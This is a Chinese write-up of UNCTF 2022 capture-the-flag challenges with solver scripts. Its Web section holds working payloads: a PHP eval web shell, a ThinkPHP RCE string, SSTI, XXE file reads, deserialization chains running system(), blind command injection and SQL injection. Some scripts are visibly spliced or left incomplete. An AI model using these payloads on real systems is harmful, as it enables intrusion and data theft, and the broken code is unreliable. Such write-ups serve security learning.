本文最后更新于 678 天前,其中的信息可能已经有所发展或是发生改变。
Web
我太喜欢bilibili大学了
- 页面搜索
flag
UNCTF{a29ffa65-a6ce-4631-9da0-e8e537f3bf27}
ezgame
- Chrome打开,进入源代码,修改血量,攻击一次出flag
UNCTF{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}
签到
- 审查元素,发现
20200101
,尝试后续学号,写脚本爆破
from requests import post
url = "http://e0be2f42-d33e-4724-b091-aa3c3279c43e.node.yuzhian.com.cn/index.php"
data = {
"username": "",
"password": "",
"submit": "提交"
}
for i in range(20200101, 20200200):
data['username'] = str(i)
data['password'] = str(i)
a = post(url, data).text.replace('\r', '').split('\n')[-3]
print(a, end='')
UNCTF{bfff6d206cbcd6ac0870a4f48c7c313b}
babyphp
- 访问
index.php
post: a=0%00&key1=aaroZmOk&key2=aaK1STfY
get: ?code=phpinfo();
UNCTF{99hanDis_pHP_Ba_True_flag}
ez_upload
- 发现对文件格式有过滤,利用后缀名漏洞 上传
test.png.php
<?php eval($_POST['cmd']);?>
UNCTF{2e2bfec4-55ee-40e2-bf39-99db32b3f8c7}
- 源代码
<?php
error_reporting(0);
// 允许上传的图片后缀
if( !isset($_FILES["file"])){
die();
}
$allowedExts = array("jpg");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "png"))
&& ($_FILES["file"]["size"] < 15360) // 小于 15 kb
)
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}else if(mb_strpos(file_get_contents($file["tmp_name"]), "eval") !== FALSE)
{
echo "NO! HACKER!";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
// 判断当前目录下的 upload 目录是否存在该文件
if (file_exists("uplO4d/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "uplO4d/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "uplO4d/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>
我太喜欢bilibili大学啦修复版
- 访问,搜索hint,得到hint1,base64解码得 admin_unctf.php
- 访问,打开网络,查看响应头,发现hint2,base64解码得密码unctf2022/unctf2022
- 访问,传递cookie:cmd=cat /f*,base64 解码,https://space.bilibili.com/673907356
- 访问,得 flag
UNCTF{this_is_so_easy}
给你一刀
- 访问,经典RCE漏洞,直接上现成的
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
UNCTF{Y0u_A3r_so_G9eaD_hacker}
easy ssti
- 又是一道经典题,直接上,似乎非预期?主办方设置了过滤,但是没用上
{{url_for.__globals__['os'].popen('env').read()}}
UNCTF{a1c71fdb-5b84-47b4-b77b-416f4cf7b113}
302与深大
- 很简单的
post
get
之类的,抓包之后扔掉重定向的包,按着题目要求做就行了
UNCTF{thai_miku_micgo_qka_WEB_GOD}
ezunseri
- 简单的反序列化
<?php
class Exec
{
public $content;
public function __construct($content)
{
$this -> content = $content;
}
}
class Test
{
public $test;
public $key;
public function __construct($test){
$this->test = $test;
}
}
class Login
{
public $code;
public $key;
public function __construct($code, $key){
$this -> code = $code;
$this -> key = $key;
}
}
$d = new Exec("system('cat /flag');");
$d -> content = "system('cat /flag');";
$c = new Test($d);
$c -> test = $d;
$b = new Exec($c);
$b -> content = $c;
$a = new Login('3.1415926', $b);
$a -> code = '3.1415926';
$a -> key = $b;
$e = urlencode(serialize($a));
echo $e;
echo "\n";
$e = preg_replace("/Exec%22%3A1%3A/", "Exec%22%3A2%3A", $e);
echo $e;
UNCTF{ee308c59-a290-4528-aa02-bbc4af5597ae}
xxe
- 找个
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
<name>&xxe;</name>
</root>
UNCTF{th8s_1s_Fla9}
nodejs
- 格式化代码
app.post('/', function(req, res) {
var flag = 'flag';
var admin = {};
let user = {};
try {
copy(user, req.body);
} catch (error) {
res.send("copy error");
return;
}
if (admin.id === 'unctf') {
res.end(flag);
} else {
return res.end("error");
}
})
- 此处没有发现copy方法的定义,推断应该为实现正常合并对象的功能,获取flag的条件是
admin
对象的id
属性为unctf
,则通过js特性污染user的父类Object
{"__proto__":{"id":"unctf"}}
- 修改
MIME
请求头为content-type: json
得到flag
UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}
poppop
- 简单的反序列化
<?php
class A{
public $code = 'system("env");';
function __construct($code)
{
$this -> code = $code;
}
}
class B{
public $key;
function __construct($key)
{
$this -> key = $key;
}
}
class C{
private $key2;
function __construct($key2)
{
$this -> key2 = $key2;
}
}
$c = new A('system("env");');
$c -> code = 'system("env");';
$b = new C($c);
$a = new B($b);
$a -> key = $b;
$d = urlencode(serialize($a));
echo $d;
echo "\n";
$d = preg_replace('/%22B%22%3A1%3A/', '%22B%22%3A2%3A', $d);
echo $d;
UNCTF{798bf94e-5f18-4392-acfb-ad72e66756a7}
easy_rce
- 根据读取文件得每一个字符进行爆破,爆破单个字符正确是sleep 1,写脚本(和之前的 ISCTF 很像)
import requests
import string
from urllib import parse
import time
# url = "http://f8836abe-7869-40f5-be07-bc85ce47a28c.node.yuzhian.com.cn/?code="
payload = 'if [ $(head -c num /f?ag) == string ]%0athen sleep 1%0aecho success %0afi'
# 读取 flag 文件的前 i 个字符,进行爆破
print(''.join(payload))
disc = string.digits + string.ascii_letters + "{}+-*/_"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}
flag = ""
i = 1
while not flag.endswith('}'):
status = False
for j in disc:
url = "http://75e4b7dc-280f-4c3a-9c12-bcab71872b4b.node.yuzhian.com.cn/?code="
url += f'if [ $(head /f?ag | cut -c {i}) == {j} ]%0a then sleep 1%0a echo success%0afi'
start_time = time.time()
res = requests.get(url=url.replace(' ', '%20'), headers=head)
end_time = time.time()
if (end_time - start_time) > 1:
status = True
flag += j
print(flag)
break
i += 1
if status == False:
print(flag)
exit()
UNCTF{e84fed028b9046fc0e8f080e96e72184}
快乐三消失
- 扫描目录,得到后台地址,
/admin/login.php /admin/login.php.bak
,备份文件中存在密码,(或者弱口令爆破,找到文件上传点,上传马
UNCTF{testflag}
世界和平
- 双写绕过过滤,堆叠注入
1;seSelectlect *frFromom FFlaglag;
ez2048
- 分析题目,填写邀请码正确才能开始游戏,合成2048方格可以得到flag
- 于是查看js源码
- 邀请码check片段
- 合成2048方块成功与否check及flag输出片段
checkInvited() {
let args = [...arguments];
let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);
function check(code) {
if (code.length !== 24) return false;
let encode = [];
for (let i = 0; i < code.length; i++) {
if (~i % 2 === 0) {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));
} else {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));
}
}
for (let i = 0; i < code.length; i++) {
if (view.getInt8(i) !== encode[i]) return false;
}
return true;
}
return function () {
if (!!arguments.length) {
[].push.apply(args, arguments);
return arguments.callee;
}
return check(args.join(""));
};
}
// this.checkInvited(input)() 调用
- 分析得,首先进行js逆向,获得邀请码,游戏通过wasm导出函数
_check_success
判定游戏获胜与否,并 通过邀请码输出flag
class GameManager{
//...
startCheck() {
//...
this.invitedCode = input;
this.allocatedInvitedCode = allocate(
intArrayFromString(this.inviteCode),
ALLOC_NORMAL
);
//...
}
//...
listenerFn(direction){
//...
let result = UTF8ToString(
_check_success(merged.value, this.allocatedInvitedCode)
);
if (result != "false") this.gameSuccess(result);
//...
}
//...
gameSuccess(result){
//...
this.content.innerHTML = result; //flag
}
//...
}
ArrayBuffer
内部存储着加密后的邀请码
// view.setUint16(4, xxx, true); // 此处表示数据小端存储
// 加密后:
const code = [
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2,
0, 19, 0, 0,
];
~i % 2 === 0 意味着奇变偶,偶变奇
~1 => -2
~2 => -3
checkInvited() { // 柯里化,相对于直接调用了checkInvited(input)
let args = [...arguments];
return function () {
if (!!arguments.length) {
[].push.apply(args, arguments);
return arguments.callee;
}
return check(args.join(""));
};
}
- 加密流程 ⇩
可以看到,偶数项加密无法找到突破口。
而由奇数序列,发现:encoded[1] = source[1] ^ source[-1],js中数组越界为undefined,在异或操作中实
则为0。
由此,找到突破口encoded[1] = source[1]。(√为已知)
而由奇数序列,encoded[3] = source[1] ^ source[3],可得source[3],依次类推可得所有奇数项。由上图偶
数序列encoded[i] = source[i]^source[i+1],可得所有偶数项source[i]。
解密脚本:
const code = [
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0,
19, 0, 0,
];
function decode() {
let encode = [];
for (let i = 1; i < code.length; i += 2) {
encode.push(
String.fromCharCode(code[i] ^ encode[(i - 3) / 2]?.charCodeAt(0))
);
}
for (let i = 0; i < code.length; i += 2) {
0x02 flag
理想难度:
实际难度: 得到邀请码后,直接复制关键代码到控制台模拟游戏成功获得flag输出。
encode.splice(
i,
0,
String.fromCharCode(code[i] ^ encode[i]?.charCodeAt(0))
);
}
console.log(encode.join(""));
}
decode();
// 邀请码:w3lc0me_7o_unctf2022!!!!
wasm逆向: 使用wasm-decompile对wasm进行反编译
sqlsql
- exp
import requests
import re
def register(url, username, studentid):
data = {
'username': f'{username}',
'studentid': f'{studentid}',
'submit': '提交'
}
requests.post(url=url+'/register.php', data=data)
def login(url, username, studentid):
data = {
'username': f'{username}',
'studentid': f'{studentid}',
'submit': '提交'
}
res = requests.post(url=url+'/login.php', data=data, allow_redirects=False)
return res.cookies
def exam(url, cookies):
data = {
'q1': '1',
'q2': '1',
'q3': '1',
'q4': '1',
'q5': '1'
}
requests.post(url=url+'/index.php', data=data, cookies=cookies)
def search_score(url, studentid, cookies):
data = {
'studentid': f'{studentid}'
}
res = requests.post(url=url+'/score.php', data=data, cookies=cookies)
return res.text
def logout(url):
requests.get(url=url+'/logout.php')
if __name__ == "__main__":
url = 'http://101.43.225.132:9003'
studentid_test = '111'
studentid = '222'
inject_studentid = '333'
inject_sql = f"{studentid_test}','1','2','3','2','3');update users set studentid={inject_studentid} where username='admin';--+"
register(url, studentid_test, studentid_test)
register(url, inject_sql, studentid)
cookies1 = login(url, inject_sql, studentid)
exam(url, cookies1)
cookies2 = login(url, 'admin', inject_studentid)
res = search_score(url, inject_studentid, cookies2)
print(re.findall(r"PPSUC{\w*}", res)[0])
Crypto
md5 1
- exp
from hashlib import md5
from string import ascii_letters, digits
printable = ascii_letters + digits + "_{}"
content = open('out.txt', 'r').read().split()
for i in content:
for j in printable:
if i == md5(j.encode()).hexdigest():
print(j, end='')
dddd
- Morse
110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010
caesar
- 换表凯撒,写脚本
message = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}'
SYMBOLS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for key in range(len(SYMBOLS)):
translated = ''
for symbol in message:
if symbol in SYMBOLS:
symbolIndex = SYMBOLS.find(symbol)
translatedIndex = symbolIndex - key
if translatedIndex < 0:
translatedIndex = translatedIndex + len(SYMBOLS)
translated = translated + SYMBOLS[translatedIndex]
else:
translated = translated + symbol
print('Key #%s: %s' % (key, translated))
md5 2
- 简单异或,后一位与前一位MD5值异或,用第一位推后面, 但我用爆破的方式正面解
from hashlib import md5
from string import ascii_letters, digits
printable = ascii_letters + digits + '}'
flag = 'UNCTF{'
# x不是一个字符是n个字符
content = open('out.txt', 'r').read().split()
for _ in range(35):
for j in printable:
md5_ = []
for i in flag + j:
md5_.append(int(md5(i.encode()).hexdigest(), 16))
b = []
for i in range(0, len(md5_)):
if i == 0:
b.append(hex(md5_[i])[2:])
else:
b.append(hex(md5_[i] ^ md5_[i - 1])[2:])
if b == content[:len(b)]:
print(flag)
flag += j
今晚吃什么
- 下载发现 txt 内容只有10000和00000两种,根据题目联想到食物,培根替换之后解码
A A A B A B A A A A B A B B A A B B B A B A A A A A B B A B A B A A A B A A A B A A B A B B A A B B A B B A A
UNCTF{CRYPROISFUN}
sing table
- 下载后根据给出的例子构造一个矩阵,将 play 四个字母放在最后
[
B,C,D,E,F
G,H,I,K,Ms
N,O,Q,R,S
T,U,V,W,X
Z,P,L,A,Y
]
- 仔细观察例子发现都是对角线上的字母,反解出flag
UNCTF{GOD_YOU_KNOW_PLAYFAIRX}
ezRSA
- 一道基础RSA
from Crypto.Util.number import *
from gmpy2 import iroot, invert
n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
e = 65537
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
p = iroot(n, 4)[0]
_n = p ** 4 - p ** 3
d = invert(e, _n)
print(long_to_bytes(pow(c, d, n)))
baby RSA
- 分析:M=((m>>60)<<60),将m后60位全化成0,m的范围(M,M+260) pow(m,e,n)=c -> me=c+k*n
- 用m的范围,整除n来限制k的范围,从而求m
import gmpy2
from Crypto.Util.number import *
n=25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c=15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
M=11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
print((M**6)//n,((M+2**60)**6)//n)
k=114
x,y=gmpy2.iroot(c+k*n,6)
print(x,y)
m=11941439146252171444944646015445273361862078914338385912062672317789429687879409370002429378909002883709
print(long_to_bytes(m))
easy RSA
- exp
#已知p的高312位,在sage中运行,高位爆破p
from sage.all import *
n = 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4 = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
#p4为p去除0的剩余位
e = 0x10001
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print("n= "+str(n))
print("p= "+str(p))
print("q= "+str(n//p))
from Crypto.Util.number import *
p= 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q= 7763324082495716852870824316200424018139567206154696104953385573761033160220038511251268217230653629388520339723337700045392099450472580225771046069366909
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
phi=(p-1)*(q-1)
e=0x10001
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
Multi table
- 审查一下代码,唯一不确定的就是一组 KEY,但是可以根据输出结果先爆破出 key
from string import ascii_uppercase
flag = "UNCTF"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
table = {}
for i in range(26):
table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]
for a in range(26):
for b in range(26):
for d in range(26):
for e in range(26):
key = [a, b, d, e]
c = ''
x = 0
for i in range(len(flag)):
if flag[i] in ascii_uppercase:
c += table[key[x % 4]][base_table.index(flag[i])]
x += 1
else:
c += flag[i]
if c == "SDCGW":
print(key)
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}
- key: [9, 15, 23, 16]
from string import ascii_uppercase
printable = ascii_uppercase + "{}_"
flag = "UNCTF{"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
print(base_table)
table = {}
for i in range(26):
table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]
key = [9, 15, 23, 16]
for num in range(len("MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}")):
for s in printable:
flag2 = flag + s
c = ''
x = 0
for i in range(len(flag2)):
if flag2[i] in ascii_uppercase:
c += table[key[x % 4]][base_table.index(flag2[i])]
x += 1
else:
c += flag2[i]
if c == "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"[:len(c)]:
flag += s
print(flag)
ezxor
- https://www.ruanx.net/many-time-pad/
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np
def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')
dat = []
def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))
c = [codecs.decode(x.strip().encode(), 'hex') for x in open('test.txt', 'r').readlines()]
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
- 结果
In the flood of dar'ness hdop
t. It brings comfor8, fae<d,
e. It gives us guid-nce { in
and gives support w$en wihmre
the moment we give 9p ho|- w
lives. The world w) livihen
ting into a place o* male+i a
ere we need hope an( finhhet
is world of fear, h#pe tchjin
easier said than d#ne, x i m
l life of faith wil makih`if
- 调整几个位置的值,加上下面的代码
def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)
know(0, 19, 'k')
know(9, 19, 'o')
know(3, -3, 'a')
know(3, -4, ' ')
know(3, -5, 'e')
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
- 结果
In the flood of darkness, hop
t. It brings comfort, faith,
e. It gives us guidance when
and gives support when we are
the moment we give up hope, w
lives. The world we live in
ting into a place of malice a
ere we need hope and find it
is world of fear, hope to fin
easier said than done, the m
l life of faith will make lif
- 选取第一行与密文第一行异或得到flag
a = '''
1c2063202e1e795619300e164530104516182d28020005165e01494e0d
2160631d325b3b421c310601453c190814162d37404510041b55490d5d
3060631d325b3e59033a1252102c560207103b22020613450549444f5d
3420277421122f55067f1207152f19170659282b090b56121701405318
212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a
75222a22230877102137045212300409165928264c091f131701484f5d
21272d33661237441a7f005215331706175930254c0817091b4244011c
303c2674311e795e103a05520d300600521831274c031f0b160148555d
3c3d63232909355455300752033a17175e59372c1c0056111d01474813
752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110
396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b
'''
a = a.split()
for i in range(len(a)):
_ = []
for j in range(len(a[i]) // 2):
_.append(int(a[i][j*2:(j+1)*2], 16))
a[i] = _
a = a[0]
print(a)
b = 'In the flood of darkness, hop'
b = list(b.encode())
print(b)
assert len(a) == len(b)
for i in range(len(a)):
print(chr(a[i] ^ b[i]), end='')
easy_lfsr
题解
- 个除了
LFSR
随机数生成先后512个状态,利用矩阵快速运算
#sage
from Crypto.Util.number import *
import random
import os
length = 512
r1 = 1261758973831852037364036680281442789461569523587512977925542995725854499352478233840720068310447535900840104847512878006505600998481136843381903570688446
r2 =
R = bin(r1)[2:].rjust(length,'0') + bin(r2)[2:].rjust(length,'0')
M = []
T = []
for j in range(0, length):
table = [int(k) for k in R[j:j + length]]
ans = int(R[j + length])
M.append(table)
T.append(ans)
M = matrix(GF(2), M)
T = vector(GF(2), T)
M = M.inverse()
mask = M * T
flag = [str(i) for i in mask]
flag = int(''.join(flag),2)
print(long_to_bytes(flag))
Fermat
题解
- 理论
费马小定理(Fermat's little theorem)是数论中的一个重要定理,在1636年提出。如果p是一个质数,而整数a不是p的倍数,则有a^(p-1)≡1(mod p)。
题目中gift为下面的x,x为下面的k。之前写的懒得改了。
x=k*(p-1),n=p*q
2^k*(p-1)=1 mod p
2^k*(p-1)-1=k*p
2^x-1=k*p
这里2^x-1是p的倍数,n也是p的倍数,他们的公因数就是p。
用gcd(2^x-1,n)=p,但是x太大了,直接计算公因数运行时间太久了。
我是这样想的p是n的因子,把2^x-1 mod n 再求公因数应该也可以吧。
下面看看证明:
2^x= 1 (mod p),即2^x = 1 + k1*p
而2^x% n = 2^x - k2n = 2^x - k2pq
两边同时% p,有2^x% n = 2^x (mod p)
所以同样有2^x % n = 1 (mod p)
什么?不想推公式,那直接看下面吧:
总结:当知道某一个数x是p-1的倍数时,就用gcd(2^x-1,n)=p,进一步gcd(pow(2,x,n)-1,n)=p。这里2可以换为其他数,只要不是p的倍数和0、1就行。
- exp
import libnum
import gmpy2
e=0x10001
n=19793392713544070457027688479915778034777978273001720422783377164900114996244094242708846944654400975309197274029725271852278868848866055341793968628630614866044892220651519906766987523723167772766264471738575578352385622923984300236873960423976260016266837752686791744352546924090533029391012155478169775768669029210298020072732213084681874537570149819864200486326715202569620771301183541168920293383480995205295027880564610382830236168192045808503329671954996275913950214212865497595508488636836591923116671959919150665452149128370999053882832187730559499602328396445739728918488554797208524455601679374538090229259
c=388040015421654529602726530745444492795380886347450760542380535829893454552342509717706633524047462519852647123869277281803838546899812555054346458364202308821287717358321436303133564356740604738982100359999571338136343563820284214462840345638397346674622692956703291932399421179143390021606803873010804742453728454041597734468711112843307879361621434484986414368504648335684946420377995426633388307499467425060702337163601268480035415645840678848175121483351171989659915143104037610965403453400778398233728478485618134227607237718738847749796204570919757202087150892548180370435537346442018275672130416574430694059
gift=28493930909416220193248976348190268445371212704486248387964331415565449421099615661533797087163499951763570988748101165456730856835623237735728305577465527656655424601018192421625513978923509191087994899267887557104946667250073139087563975700714392158474439232535598303396614625803120915200062198119177012906806978497977522010955029535460948754300579519507100555238234886672451138350711195210839503633694262246536916073018376588368865238702811391960064511721322374269804663854748971378143510485102611920761475212154163275729116496865922237474172415758170527875090555223562882324599031402831107977696519982548567367160
# gift+x=x*p
#gift=x(p-1)
p=libnum.gcd(pow(2,gift,n)-1,n)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
flag=libnum.n2s(int(m))
print(flag)
超级加倍
题解
- 根据题目超级加倍想到密文长度翻了四倍,因为是数字所以可猜想为四次方,对其进行开方即可,可使用网站
- https://sagecell.sagemath.org/
- exp
c =364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761
a = c^(1/4)
print(bytes.fromhex(hex(a)[2:]))
Today_is_Thursday_V_me_50
题解
- 逻辑
加密函数结构还是很清晰的
两层加密,第一层是通过对`unctf`进行排列后重复与message进行异或,这个过程重复四次。
这样就经过了第一层混淆
解决这一层可以通过穷举求得
第二层通过设置了一个掩码数,掩码数`key_1=TOPIC`即是本题标题`'Today_is_Thursday_V_me_50'`
解决该层也只需要将`encrypt_2`重复一遍即可
- exp
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from flag import flag
name = "unctf"
key1 = b'Today_is_Thursday_V_me_50'
key1_num = bytes_to_long(key1)
def decrypt_1(message,name):
guess=[i for i in itertools.permutations(name, 5)]
for i in range(len(guess)):
res = message
n1 = ''.join(x for x in guess.pop(i))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
for j in range(len(guess)):
n1 = ''.join(x for x in guess.pop(j))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
for k in range(len(guess)):
n1 = ''.join(x for x in guess.pop(k))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
for k in range(len(guess)):
n1 = ''.join(x for x in guess.pop(k))
mask = strxor(5*n1.encode(),key1)
res = strxor(mask,message)
if(b'unctf{' in res):
print(res)
return 0
Ezcry
题解
- RC4
from Crypto.Cipher import ARC4
from libnum import n2s
enc = 28215806134317522883596419220825657511411006710664649462842055320370860932420278362078094716
key = 3544952156018063160
key = n2s(key)
enc = n2s(enc)
rc4 = ARC4.new(key)
print (rc4.decrypt(enc))
Misc
magic_word
题解
- 0宽
syslog
题解
binwalk -e xxx.zip
,搜索password
发现base64
字符- password is U6nu2_i3_b3St
巨鱼
题解
- 下载文件,binwalk 分析一下,有一个压缩包
- 有密码,再看看原图,修改图片高度,发现密码:无所谓我会出手
- 解压得到一个txt和压缩包,没发现什么东西,压缩包放入虚拟机binwalk,又是伪加密
- 得到png和pptx
- png中是 H6C6Cl6 尝试 别名 666,成功进入ppt
- 取消密码后,解压缩,直接能看到flag
In_the_Morse_code
- 全选得到文字
UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm
+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5
46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO
WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k
5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm
+WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y
2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3
lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54
6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW
PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y
+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja
Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN
oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T
ljaE=}
- base64
